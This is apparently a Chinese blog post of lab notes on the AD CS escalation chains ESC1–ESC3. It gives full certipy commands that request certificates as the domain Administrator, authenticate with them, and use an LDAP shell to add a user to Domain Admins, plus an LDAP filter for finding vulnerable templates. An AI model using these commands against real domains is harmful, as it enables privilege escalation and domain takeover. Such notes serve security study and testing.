ADCS ESC 1-3 攻击链路
前言:ADCS ESC 1-3 攻击链路的笔记
参考文章:https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-prevent-users-request-certificate
参考文章:https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
参考文章:https://forum.butian.net/share/1578
参考文章:https://github.com/GhostPack/Rubeus/issues/97
参考文章:https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
ESC1攻击链路(EKU 客户端身份验证)
证书模板利用条件
-
颁发CA授予低权限用户请求权限(默认)
-
模板中CA管理员审批未启用(默认)
-
模板中不需要授权的签名(默认)
-
模板允许低权限用户(domain users)/机器注册(domain computers),如下图所示中允许任意域机器来进行注册证书
- 模板定义了启用认证(客户端身份验证)的EKU
- 设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
表明客户端在证书请求中自己提供主体信息,也就是证书模板允许请求者在CSR中(证书请求)中指定主体信息SAN(subjectAltName)
上面的条件都满足的情况下,证书模板允许请求者在CSR中(证书请求)中指定主题信息SAN(subjectAltName),其中就是可以指定自己当前申请的身份,从而可获取到伪造身份的证书。
配置了domain users / domain computers的情况下的利用
这边创建一个证书模板满足ESC1利用条件,证书模板名称为ECCCC,如下图所示
这边查看是否存在可利用的模板,如下图所示
certipy find -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -vulnerable -debug
针对ESC1模版ECCCC请求证书
certipy req -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -debug -target-ip 192.168.75.156 -ca adcs -template ECCCC -upn administrator@zpchcbd.com
身份验证,auth命令将询问您使用哪个身份进行身份验证,这边使用的是administrator@zpchcbd.com,获取的哈希就是administrator的,如下图所示
certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202
配置domain computers的情况下的利用
certipy find -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -vulnerable -debug
certipy req -u WIN-6R2MMNGJLI3$@zpchcbd.com -hashes :a8b93c18dada22dcd0a2a54687882c65 -dc-ip 192.168.75.202 -debug -target-ip 192.168.75.156 -ca adcs -template ESC11 -upn administrator@zpchcbd.com
certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202
fpx进行kerberos认证碰到KDC_ERROR_CLIENT_NOT_TRUSTED的问题
这边利用的时候有可能会碰到KDC_ERR_CLIENT_NOT_TRUSTED的情况,自己第一次实战的时候就碰到了,如下图所示KDC_ERR_CLIENT_NOT_TRUSTED报错情况
寻找解决办法1(这个不可行)
参考文章:https://github.com/GhostPack/Rubeus/issues/97
解决方法:本地管理员权限,打开组策略gpedit.msc,计算机配置->Windows 设置->安全设置->本地策略->安全选项,找到配置Kerberos允许的加密类型,将下面全部勾选即可
自己本地搭建了一个相同的环境,然后进行将组策略中的下面配置进行勾选,但是实际上通过pfx认证的时候还是提示KDC_ERR_CLIENT_NOT_TRUSTED,如下图所示
certipy auth -pfx henggemaomao.pfx -dc-ip 192.168.75.22
寻找解决办法2
参考文章:https://github.com/AlmondOffSec/PassTheCert
参考文章:https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
2023-10-19通过PassTheCert解决该问题
certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202 -ldap-shell
# add_user xiaoyuer Attempting to create user in: %s CN=Users,DC=zpchcbd,DC=com Adding new user with username: xiaoyuer and password: {o1,O@!)uj^A=n' result: OK # add_user_to_group xiaoyuer "Domain Admins" Adding user: xiaoyuer to group Domain Admins result: OK
代码实现证书模板利用条件检查
代码实现证书模板利用条件检查LDAP过滤器执行语句如下所示
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
语句解析
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
-
&(objectclass=pkicertificatetemplate)
这是在objectclass属性为pkicertificatetemplate的对象中进行搜索。 -
(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))
是就mspki-enrollmentflag属性使用匹配规则1.2.840.113556.1.4.804来排除所有值为2(证书请求挂起状态)的实体。
-
(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))
是在mspki-ra-signature属性为0或不存在mspki-rasignature属性的对象中进行搜索。 -
(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)
是使用1.2.840.113556.1.4.804匹配规则寻找mspkicertificate-name-flag属性值为1的对象。
(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))
是用于查找pkiextendedkeyusage属性为1.3.6.1.4.1.311.20.2.2、1.3.6.1.5.5.7.3.2、1.3.6.1.5.2.3.4或2.5.29.37.0,或者没有定义pkiextendedkeyusage属性的对象。
注意点:没有定义pkiextendedkeyusage属性的意味着当前的模板是的PKU属性是Any Purpose (OID 2.5.29.37.0) 可以用于任何目的,包括客户端身份验证,可以用于任何情况给其他用户来颁发证书。
描述对象描述符(OID)有如下四种,分别是客户端认证、PKINT客户端认证、智能卡登录以及任何目的
-
客户端认证 1.3.6.1.5.5.7.3.2
-
PKINIT客户端认证 1.3.6.1.5.2.3.4
-
智能卡登录 1.3.6.1.4.1.311.20.2.2
-
任何目的 2.5.29.37.0
ESC2攻击链路(定义无EKU)
证书模板利用条件
-
颁发CA授予低权限用户请求权限(默认)
-
模板中CA管理员审批未启用(默认)
-
模板中不需要授权的签名(默认)
-
证书模板中定义了无EKU
注意:在ESC1中的证书模板定义了启用认证(客户端身份验证)的EKU,而这里的话是应用程序策略EKU是无,也就是pkiextendedkeyusage属性为无
注意:跟esc1对比起来,该esc2不需要设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
配置了pkiextendedkeyusage属性为无的模板
这里直接在ESC1模板的基础上修改下应用程序策略EKU为无即可,如下图所示
ESC2漏洞利用
这边先通过工具进行检测可以看到存在一个ESC2名称的证书模板存在配置不当的情况,如下图所示
ADScan.exe DomainGather /ADCS
以ESC2为模板申请证书
certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template ESC2
使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of
参数值必须是DOMAIN\USER
的形式
certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug
使用上面申请到的administrator.fpx来向域控机器进行身份认证
certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202
ESC3攻击链路(EKU 证书申请代理Certificate Request Agent)
证书模板利用条件
-
颁发CA授予低权限用户请求权限(默认)
-
模板中CA管理员审批未启用(默认)
-
模板中不需要授权的签名(默认)
-
证书模板中定义了证书申请代理的EKU
注意:与ESC1和ESC2的EKU不同,这里的是"证书申请代理"的EKU,该esc3不需要设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
配置了pkiextendedkeyusage属性为证书申请代理的模板
这里直接在ESC2模板的基础上修改下应用程序策略EKU为"证书申请代理",如下图所示
ESC3漏洞利用
这边先通过工具进行检测可以看到存在一个ESC3名称的证书模板存在配置不当的情况,如下图所示
ADScan.exe DomainGather /ADCS
以ESC3为模板申请证书
certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template ESC3
使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of
参数值必须是DOMAIN\USER
的形式
certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug
使用上面申请到的administrator.fpx来向域控机器进行身份认证
certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY